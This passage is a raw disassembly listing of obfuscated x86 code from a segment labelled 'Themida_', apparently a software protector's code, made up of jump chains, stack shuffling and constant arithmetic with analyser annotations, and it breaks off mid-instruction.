sub_56B812+1D7Ej mov edi, 2CEA6E08h jmp loc_565DD0 ; END OF FUNCTION CHUNK FOR sub_56B812 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_568B38: ; CODE XREF: sub_56755A+B2Bj and ecx, eax pop eax sub ecx, 0D476D2FEh add ebp, ecx pop ecx pop eax xchg ebp, [esp-24h+arg_20] pop esp jmp loc_5661D4 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_568B4E: ; CODE XREF: Themida_:00568C3Fj add al, 0F7h mov ch, al pop eax sub ch, ah jmp loc_56F9D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FDEF loc_568B5A: ; CODE XREF: sub_55FDEF+320Bj add ebx, 4 sub ebx, 4 xchg ebx, [esp+0Ch+var_C] pop esp mov [esp+8+var_8], edx mov edx, esp push ebp mov ebp, 4 jmp loc_56F98F ; END OF FUNCTION CHUNK FOR sub_55FDEF ; --------------------------------------------------------------------------- loc_568B77: ; CODE XREF: Themida_:0055F4A2j sub eax, esi pop esi add eax, 77855593h jmp loc_55B7E8 ; --------------------------------------------------------------------------- loc_568B84: ; CODE XREF: Themida_:00560EEBj push edx mov edx, 5F5F0A0Fh xor edx, 5F5F0A0Bh jmp loc_5604C1 ; --------------------------------------------------------------------------- loc_568B95: ; CODE XREF: Themida_:0055EA65j sub al, dh sub al, 33h pop edx add al, 63h sub al, bh sub al, 63h jmp loc_569EAD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F653 loc_568BA5: ; CODE XREF: sub_56F653-2790j mov dl, 0B5h jmp loc_5658F8 ; END OF FUNCTION CHUNK FOR sub_56F653 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_568BAC: ; CODE XREF: sub_56755A-A958j or ah, 88h xor ah, 12h add cl, ah pop eax xor bh, cl jmp loc_568E4D ; --------------------------------------------------------------------------- loc_568BBC: ; CODE XREF: sub_56755A-A416j add eax, esi jmp loc_56C74E ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E55E loc_568BC3: ; CODE XREF: sub_56E55E-E774j mov ecx, [esp+14h+var_14] add esp, 4 xor ebx, [esp+10h+var_10] xor [esp+10h+var_10], ebx xor ebx, [esp+10h+var_10] pop esp shl edi, 3 sub edi, 6E3D3BB3h xor edi, 0B58C3586h mov ebx, edi pop edi jmp loc_55EF43 ; END OF FUNCTION CHUNK FOR sub_56E55E ; --------------------------------------------------------------------------- lodsb jmp loc_562BAB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_568BF0: ; CODE XREF: sub_56755A-7AAj add eax, 37C776C5h push ebp jmp loc_55E206 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_568BFB: ; CODE XREF: Themida_:0056FE4Ej mov [esp], ebp jmp loc_56E70A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_568C03: ; CODE XREF: sub_56755A-6FCCj mov edx, esp jmp loc_562BC5 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_568C0A: ; CODE XREF: Themida_:0056CE3Aj mov ecx, ebp pop ebp xor ecx, 25AA6DD0h jmp loc_56D4A0 ; --------------------------------------------------------------------------- loc_568C18: ; CODE XREF: Themida_:00564394j push 0 sub [esp], bl mov bl, [esp] add esp, 4 push ecx push 7029h mov [esp], eax mov ah, 0C4h push 5C19h mov [esp], eax mov al, 17h shr al, 1 xor al, 1 jmp loc_568B4E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56971C loc_568C44: ; CODE XREF: sub_56971C+6951j xor eax, 5BCA711Ah and ebp, eax pop eax sub ebp, 0F525FDBh shl ebp, 3 not ebp add ebp, 68021054h add ebp, 637B16E9h add eax, ebp pop ebp push 3CB8h mov [esp+4+var_4], edx mov edx, 4 add eax, edx push [esp+4+var_4] jmp loc_56856E ; END OF FUNCTION CHUNK FOR sub_56971C ; --------------------------------------------------------------------------- loc_568C7D: ; CODE XREF: Themida_:005664C4j pop ecx add esp, 4 add esp, 4 push 7580h jmp loc_55BD29 ; --------------------------------------------------------------------------- loc_568C91: ; CODE XREF: Themida_:00561255j mov edi, [esp] add esp, 4 jmp loc_55D063 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_568C9C: ; CODE XREF: sub_56755A+2FA1j sub eax, edi pop edi mov ebx, [esp+0] add esp, 4 pop ebx jmp loc_5616A1 ; --------------------------------------------------------------------------- loc_568CAE: ; CODE XREF: sub_56755A-B455j push ecx add [esp+10h+var_10], 9B7088Fh mov edx, [esp+10h+var_10] add esp, 4 sub edx, 9B7088Fh jmp loc_565E4E ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- movzx ax, byte ptr [edx] sub esp, 4 jmp loc_55BE14 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_568CD9: ; CODE XREF: sub_56755A-A741j xor ecx, [esp+1Ch+var_1C] xor [esp+1Ch+var_1C], ecx jmp loc_56BD6C ; --------------------------------------------------------------------------- loc_568CE4: ; CODE XREF: sub_56755A-90FFj add [esp+1Ah+var_18+2], eax mov eax, [esp+1Ah+var_1C+2] jmp loc_56261D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EAA9 loc_568CF0: ; CODE XREF: sub_56EAA9-1323Aj jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56EAA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568470 loc_568CF5: ; CODE XREF: sub_568470+42D2j mov ebp, 4F9732AAh add [esp-20h+arg_24], ebp pop ebp mov esi, [esp+0] add esp, 4 push [esp-28h+arg_24] pop ebx push eax mov eax, esp sub esp, 4 mov [esp+0], edi mov edi, 4 add eax, edi pop edi add eax, 4 jmp loc_568ABA ; END OF FUNCTION CHUNK FOR sub_568470 ; --------------------------------------------------------------------------- lodsd cmp dword ptr [edi+20h], 0 jz loc_565B62 sub esp, 4 mov [esp], edx jmp loc_5611ED ; --------------------------------------------------------------------------- loc_568D38: ; CODE XREF: Themida_:0055F6BEj add ebx, 4 jmp loc_56FDF5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_568D43: ; CODE XREF: sub_56755A-9169j mov esp, [esp+2+var_4+2] jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_568D4B proc near ; CODE XREF: sub_56C86A+21E5j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0055BCA1 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0055BF4B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0055C864 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0055D79F SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0055DAF4 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055E767 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00562555 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005668E6 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00566E59 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005684E3 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00568583 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00569210 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056A5C9 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0056B719 SIZE 00000006 BYTES sub esp, 4 mov [esp+4+var_4], edx jmp loc_566E59 sub_568D4B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_568D56: ; CODE XREF: sub_56755A-3DA0j pop esp pop [esp+0Eh+var_10+2] mov esp, [esp+0Ah+var_C+2] mov fs:[edx], al jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560D65 loc_568D65: ; CODE XREF: sub_560D65+AD01j push 2971h mov [esp+8+var_8], esi mov esi, 2D6600B5h sub ebx, 7FD07228h sub ebx, esi jmp loc_5679A4 ; END OF FUNCTION CHUNK FOR sub_560D65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_568D7F: ; CODE XREF: sub_56755A-407Dj push edi push eax push edx mov edx, 7B712FABh push edx jmp loc_56A22D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5635DE loc_568D8D: ; CODE XREF: sub_5635DE-D27j inc ebx add ebx, 0CA3EFC82h jmp loc_55F708 ; END OF FUNCTION CHUNK FOR sub_5635DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5643BC loc_568D99: ; CODE XREF: sub_5643BC+5871j add edi, ebx mov ebx, [esp+4+var_4] add esp, 4 jmp loc_56DAF9 ; END OF FUNCTION CHUNK FOR sub_5643BC ; --------------------------------------------------------------------------- loc_568DA6: ; CODE XREF: Themida_:0056A486j mov ebp, esp add ebp, 4 jmp loc_5641FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_568DB3: ; CODE XREF: sub_56755A-AB35j add ebx, 4 xchg ebx, [esp+4+var_4] pop esp pop edx xor bh, 20h jmp loc_562BBA ; --------------------------------------------------------------------------- loc_568DC6: ; CODE XREF: sub_56755A-2D80j add al, dh jmp loc_55C754 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D5AE loc_568DCD: ; CODE XREF: sub_56D5AE-370Cj xchg ebp, [esp+0] jmp loc_56DC51 ; END OF FUNCTION CHUNK FOR sub_56D5AE ; --------------------------------------------------------------------------- loc_568DD5: ; CODE XREF: Themida_:005671D4j mov eax, [esp] jmp loc_56F7BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570668 loc_568DDD: ; CODE XREF: sub_570668-83DBj pop ebx sub ebx, 6BD668E8h mov edx, [esp+8+var_8] push edi mov edi, esp add edi, 4 jmp loc_5694B5 ; END OF FUNCTION CHUNK FOR sub_570668 ; --------------------------------------------------------------------------- loc_568DF5: ; CODE XREF: Themida_:00568EDBj mov edi, 6981395Dh jmp loc_55BFAC ; --------------------------------------------------------------------------- loc_568DFF: ; CODE XREF: Themida_:0055B7CFj mov [esp], ebp mov ebp, 5A9A05C7h jmp loc_55FB1C ; --------------------------------------------------------------------------- loc_568E0C: ; CODE XREF: Themida_:0056863Bj mov [esp], esi push esp pop esi push ecx mov ecx, 2CB03383h jmp loc_569F1A ; --------------------------------------------------------------------------- loc_568E1C: ; CODE XREF: Themida_:0055D4DCj not dl sub dl, 7Eh jmp loc_5666A7 ; --------------------------------------------------------------------------- pop dword ptr fs:[edx] jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CEE9 loc_568E2E: ; CODE XREF: sub_56CEE9-10D8Bj add edx, 3500457Eh jmp loc_561ADC ; END OF FUNCTION CHUNK FOR sub_56CEE9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_568E39: ; CODE XREF: sub_56755A-B7E9j pop ebp add esp, 4 jmp loc_56B1BE ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56667A loc_568E42: ; CODE XREF: sub_56667A+928Dj mov eax, esi pop esi sub ebx, eax pop eax jmp loc_567A99 ; END OF FUNCTION CHUNK FOR sub_56667A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_568E4D: ; CODE XREF: sub_56755A+165Dj pop ecx xor bh, 64h jmp sub_5615A9 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_568E56: ; CODE XREF: sub_56E89A-111B2j mov [esp+0Ch+var_C], edx push 1682h jmp loc_55FE57 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5636A9 loc_568E63: ; CODE XREF: sub_5636A9+8E9Fj mov ah, 0ABh sub ah, 33h add ah, 0FDh mov bl, ah pop eax jmp loc_55CD03 ; END OF FUNCTION CHUNK FOR sub_5636A9 ; --------------------------------------------------------------------------- mov ax, [esp] push 5C00h mov [esp], edi push esp mov edi, [esp] jmp loc_56B206 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_568E88: ; CODE XREF: sub_56755A-134Aj add esi, 77A80144h jmp loc_56E79D ; --------------------------------------------------------------------------- loc_568E93: ; CODE XREF: sub_56755A+402j push 6439h mov [esp+20h+var_20], ebp pop edx push [esp+1Ch+var_1C] mov ebp, [esp+20h+var_20] add esp, 4 push ecx mov ecx, esp add ecx, 4 jmp loc_56780A ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5706E9 loc_568EB3: ; CODE XREF: sub_5706E9-11085j not esi jmp loc_566940 ; END OF FUNCTION CHUNK FOR sub_5706E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_568EBA: ; CODE XREF: sub_56755A+6C59j add esp, 4 add ebx, 0DD198AA2h sub ebp, ebx jmp loc_55BF23 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_568ECD: ; CODE XREF: Themida_:0056242Bj mov eax, 4 jmp loc_566974 ; --------------------------------------------------------------------------- loc_568ED7: ; CODE XREF: Themida_:00564943j add ecx, ebp pop ebp push edi jmp loc_568DF5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_568EE0: ; CODE XREF: sub_56755A-3253j add eax, 4 jmp loc_56A643 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_568EEA: ; CODE XREF: Themida_:00565AB0j sub eax, edx push dword ptr [esp] jmp loc_561D34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_568EF4: ; CODE XREF: sub_56755A-9AD7j xchg eax, [esp+12h+var_14+2] jmp loc_5634D7 ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_568EFC proc near ; CODE XREF: sub_5696A6-99B9j ; FUNCTION CHUNK AT 0056FB2E SIZE 0000000B BYTES push ebp jmp loc_56FB2E sub_568EFC endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_568F02: ; CODE XREF: sub_56755A+385j sub al, 6Eh sub bl, al pop eax add bl, 0DBh jmp loc_55B635 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_568F0F: ; CODE XREF: Themida_:005685C0j xor eax, 208E5653h dec eax xor eax, 0B33CCB61h or ebp, eax jmp loc_569BC8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F7FC loc_568F21: ; CODE XREF: sub_56F7FC-F8Dj add ebx, eax pop eax push eax push ebp mov ebp, 175239CEh jmp loc_5607FE ; END OF FUNCTION CHUNK FOR sub_56F7FC ; --------------------------------------------------------------------------- loc_568F30: ; CODE XREF: Themida_:005638D6j sub ebx, eax add ebx, 32972666h mov eax, [esp] add esp, 4 jmp loc_56FB02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_568F43: ; CODE XREF: sub_56755A+7B08j add eax, 4 sub eax, 4 xchg eax, [esp-8+arg_4] pop esp mov [esp-0Ch+arg_8], edi mov edi, esp add edi, 4 jmp loc_56105B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_568F5F: ; CODE XREF: Themida_:0055ED46j pop dword ptr [esp] jmp loc_56DC43 ; --------------------------------------------------------------------------- loc_568F67: ; CODE XREF: Themida_:0055B713j add ecx, 52941284h jmp loc_55C01A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_568F72: ; CODE XREF: sub_56755A-ACBCj mov [esp-8+arg_4], esi mov esi, 27594B7Ch neg esi jmp loc_5623BD ; --------------------------------------------------------------------------- loc_568F81: ; CODE XREF: sub_56755A+368Fj or ecx, edi mov edi, [esp-8+arg_4] jmp loc_5658C3 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562F50 loc_568F8B: ; CODE XREF: sub_562F50+3A44j add eax, ebx xor dword ptr [eax], 4A9F545Dh pop eax jmp loc_56FFE8 ; END OF FUNCTION CHUNK FOR sub_562F50 ; --------------------------------------------------------------------------- loc_568F99: ; CODE XREF: Themida_:005672DEj pop bp push 7857h mov [esp], esi jmp loc_56DD5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55BA18 loc_568FA8: ; CODE XREF: sub_55BA18+EEFCj sub [esp+4+var_4], 586C0969h pop ebx jmp sub_55E99C ; END OF FUNCTION CHUNK FOR sub_55BA18 ; --------------------------------------------------------------------------- loc_568FB5: ; CODE XREF: Themida_:0055D78Fj mov ecx, [esp] jmp loc_569ED8 ; --------------------------------------------------------------------------- loc_568FBD: ; CODE XREF: Themida_:0055B5E7j xor ecx, 3B211EA3h xor ecx, 8E1DBCC3h sub ebp, 53A51D8Bh add ebp, ecx add ebp, 53A51D8Bh pop ecx add ebp, 2 xor ebp, [esp] jmp loc_56B953 ; --------------------------------------------------------------------------- loc_568FE6: ; CODE XREF: Themida_:00563F9Fj mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 push edx mov edx, 344736EBh push edi mov edi, esp add edi, 4 push ecx mov ecx, 78E45331h shl ecx, 4 neg ecx or ecx, 6CAB5473h shr ecx, 7 neg ecx sub ecx, 0FF048843h sub edi, ecx jmp loc_56C83B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56902B: ; CODE XREF: sub_56755A-29D9j mov edi, 71100F04h mov eax, edi pop edi push 7A5h mov [esp+2Eh+var_30+2], ecx mov ecx, 1 add eax, ecx jmp loc_55F98A ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_569047: ; CODE XREF: Themida_:00561813j push ebx jmp loc_55DF22 ; --------------------------------------------------------------------------- loc_56904D: ; CODE XREF: Themida_:0056678Bj sub ebx, 1C910431h or ebx, 2D844E7Bh or ebx, 37BC1997h sub ebx, 0B6E370Eh add ebx, 12945990h xor ebp, ebx pop ebx inc ebp xor ebp, 22D29439h mov esi, ebp jmp loc_56D528 ; --------------------------------------------------------------------------- loc_56907C: ; CODE XREF: Themida_:0056165Dj push eax jmp loc_56590B ; --------------------------------------------------------------------------- loc_569082: ; CODE XREF: Themida_:00563E80j xor ebp, 561311CFh jmp loc_566E6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56908D: ; CODE XREF: sub_56755A-AF0Dj mov esi, [esp+16h+var_18+2] add esp, 4 jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C86A loc_56909B: ; CODE XREF: sub_56C86A+15j sub bl, 3Ah add bl, ah add bl, 3Ah add bl, 0E2h pop eax add bl, ch sub bl, 2Eh jmp loc_5700B7 ; END OF FUNCTION CHUNK FOR sub_56C86A ; --------------------------------------------------------------------------- loc_5690B1: ; CODE XREF: Themida_:0055E5C9j jmp loc_55B555 ; --------------------------------------------------------------------------- loc_5690B6: ; CODE XREF: Themida_:00569D8Dj push 46101B96h jmp loc_56A6FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5690C0: ; CODE XREF: sub_56755A-5165j xchg bh, byte ptr [esp-14h+arg_10] jmp sub_56E1C0 ; --------------------------------------------------------------------------- loc_5690C8: ; CODE XREF: sub_56755A+774Ej add edx, 4 xchg edx, [esp-14h+arg_10] pop esp jmp loc_5638A0 ; --------------------------------------------------------------------------- loc_5690D4: ; CODE XREF: sub_56755A+4692j add ebx, 320E381Dh sub ebx, ecx sub ebx, 320E381Dh add ebx, 3347C39h add ebx, 1A1975B1h pop ecx push 6C43h jmp loc_55DF1A ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5706E9 loc_5690F9: ; CODE XREF: sub_5706E9-72B1j add eax, 2CCAF73Ah xor ebp, eax pop eax push edi mov edi, ebp mov ebx, edi pop edi pop ebp push eax mov eax, 1CD41A35h sub ebx, eax pop eax add eax, ebx pop ebx jmp loc_564096 ; END OF FUNCTION CHUNK FOR sub_5706E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56667A loc_569119: ; CODE XREF: sub_56667A+1j mov ebp, 5E0B75B9h not ebp shr ebp, 8 xor ebp, 1EADA818h and eax, ebp pop ebp jmp loc_56D286 ; END OF FUNCTION CHUNK FOR sub_56667A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_569131: ; CODE XREF: sub_56755A+E40j add ah, 7Bh add bl, ah mov eax, [esp+0Ah+var_C+2] push edx jmp loc_56557B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_56913F: ; CODE XREF: sub_56E89A-508Cj sub ebp, 4 xchg ebp, [esp+8+var_8] pop esp mov [esp+4+var_4], ebp push eax push edx push 2F427C5Bh jmp loc_55D6CF ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_569155: ; CODE XREF: sub_56755A+7C83j add esp, 4 jmp sub_55E54A ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 push ebp mov ebp, esp jmp loc_56C153 ; --------------------------------------------------------------------------- loc_569171: ; CODE XREF: Themida_:0056C7F2j push esp jmp loc_56E070 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_569177: ; CODE XREF: sub_56755A-709Ej push [esp+14h+var_14] pop ebp push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+18h+var_18] pop esp push ebx mov ebx, 4 add edi, ebx jmp loc_55EE16 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56919B: ; CODE XREF: Themida_:005683C9j and ecx, eax pop eax shl ecx, 1 shr ecx, 5 jmp loc_565622 ; --------------------------------------------------------------------------- loc_5691A8: ; CODE XREF: Themida_:00560AEAj pop edi pop esi jmp loc_567F33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F7FC loc_5691AF: ; CODE XREF: sub_56F7FC-ED03j shl ecx, 4 inc ecx add ecx, 64F6CB0Bh mov edx, 0A0F250F0h sub edx, ecx push [esp+4+var_4] jmp loc_5642D2 ; --------------------------------------------------------------------------- loc_5691C8: ; CODE XREF: sub_56F7FC-F182j xchg edx, [esp+0] pop esp mov [esp-4+arg_0], edx push 5E4Bh mov [esp+0], eax mov eax, 7D2D60A9h or eax, 7E617BEFh inc eax shr eax, 3 jmp loc_55FE1B ; END OF FUNCTION CHUNK FOR sub_56F7FC ; --------------------------------------------------------------------------- loc_5691EA: ; CODE XREF: Themida_:0056B9B4j add eax, ecx pop ecx xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] push ebx push edx mov edx, 4 mov ebx, edx pop edx add edx, 338E24C8h add edx, ebx jmp loc_56E177 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568D4B loc_569210: ; CODE XREF: sub_568D4B-C4E6j mov eax, 4 jmp loc_56A5C9 ; END OF FUNCTION CHUNK FOR sub_568D4B ; --------------------------------------------------------------------------- loc_56921A: ; CODE XREF: Themida_:00570349j add edi, 4 sub esp, 4 mov [esp], ecx jmp loc_564317 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56922B: ; CODE XREF: sub_56755A-A8DEj pop ebp shl ebx, 3 jmp loc_5609F1 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_569234: ; CODE XREF: Themida_:0056DA98j mov ebp, 2B244801h xor esi, ebp pop ebp push edi mov edi, 2406122h jmp loc_56E433 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_569247: ; CODE XREF: sub_56755A-EB8j pop ecx add edi, ebx push eax mov eax, 59FC0D17h sub edi, eax pop eax mov ebx, [esp+4+var_4] jmp loc_56CF1B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56542E loc_56925B: ; CODE XREF: sub_56542E+9B36j xchg eax, [esp+8+var_8] pop esp xor ebp, [esp+4+var_4] jmp loc_5643FF ; END OF FUNCTION CHUNK FOR sub_56542E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_569267: ; CODE XREF: sub_56755A-A070j pop esp xor edi, ebp pop ebp and eax, edi jmp loc_56C07A ; --------------------------------------------------------------------------- loc_569272: ; CODE XREF: sub_56755A+53Aj add eax, 4 add eax, 4 jmp loc_5665D6 ; --------------------------------------------------------------------------- loc_569281: ; CODE XREF: sub_56755A-7546j mov esp, [esp-4+arg_0] jmp loc_565199 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_569289: ; CODE XREF: Themida_:00570653j mov [esp], esp jmp loc_562416 ; --------------------------------------------------------------------------- loc_569291: ; CODE XREF: Themida_:00569857j pop esi xchg edi, [esp] pop esp push 2C67h mov [esp], edi sub esp, 4 mov [esp], esi push ecx jmp loc_567A5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5692AA: ; CODE XREF: sub_56755A-966Ej xor [esp+16h+var_18+2], ebp push ebp push eax pop ebp mov eax, [esp+1Ah+var_1C+2] add esp, 4 not eax xchg eax, ebp jmp loc_56366A ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55EA9F loc_5692BE: ; CODE XREF: sub_55EA9F+7C80j mov esi, 4 sub ebp, esi mov esi, [esp+4+var_4] add esp, 4 xchg ebp, [esp+0] pop esp mov [esp-4+arg_0], edi push eax mov eax, 1 mov edi, eax jmp loc_56D6E4 ; END OF FUNCTION CHUNK FOR sub_55EA9F ; --------------------------------------------------------------------------- loc_5692E2: ; CODE XREF: Themida_:005653A9j xor ebp, [esp] jmp loc_55BC67 ; --------------------------------------------------------------------------- loc_5692EA: ; CODE XREF: Themida_:00569472j mov esp, [esp] jmp loc_55BAE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564356 loc_5692F2: ; CODE XREF: sub_564356-3B4Aj pop ebp push ecx jmp sub_562F88 ; END OF FUNCTION CHUNK FOR sub_564356 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563616 loc_5692F9: ; CODE XREF: sub_563616-5168j add ebx, 2 jmp loc_55DB83 ; END OF FUNCTION CHUNK FOR sub_563616 ; --------------------------------------------------------------------------- loc_569301: ; CODE XREF: Themida_:0056BE70j pop edi inc esi xor esi, 568A3639h jmp loc_56875D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56930E: ; CODE XREF: sub_56755A+656j pop esi shr edi, 2 jmp loc_5675DE ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_569317: ; CODE XREF: Themida_:0055DECCj mov edi, 30AC7B21h push edi add dword ptr [esp], 7D9E11BBh pop ecx sub ecx, 7D9E11BBh pop edi push eax jmp loc_56C012 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56667A loc_569332: ; CODE XREF: sub_56667A+86DCj xor edx, 327227B5h push ebx mov ebx, 0B2AC42B8h sub edx, 78D95AD6h sub edx, ebx add edx, 78D95AD6h pop ebx add ebx, 50630F58h add ebx, edx jmp loc_569B09 ; END OF FUNCTION CHUNK FOR sub_56667A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56935A: ; CODE XREF: sub_56755A-69A1j mov edx, esp add edx, 4 push eax jmp loc_56A449 ; --------------------------------------------------------------------------- loc_569368: ; CODE XREF: sub_56755A+7ED0j xor edx, 0F9DDC3F4h add edi, edx pop edx xchg edi, [esp+10h+var_10] pop esp jmp loc_55F2BB ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56937A: ; CODE XREF: Themida_:0056D034j sub ebx, 1814103h add ebp, ebx pop ebx push 164Ch jmp loc_55FAEC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56938D: ; CODE XREF: sub_56755A+7C0Aj or eax, 4F9516C6h and eax, 67BB00F0h push ecx mov ecx, 25F114ACh add eax, ecx pop ecx jmp sub_56D164 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F653 loc_5693A5: ; CODE XREF: sub_56F653-2F0Aj mov ch, 12h add 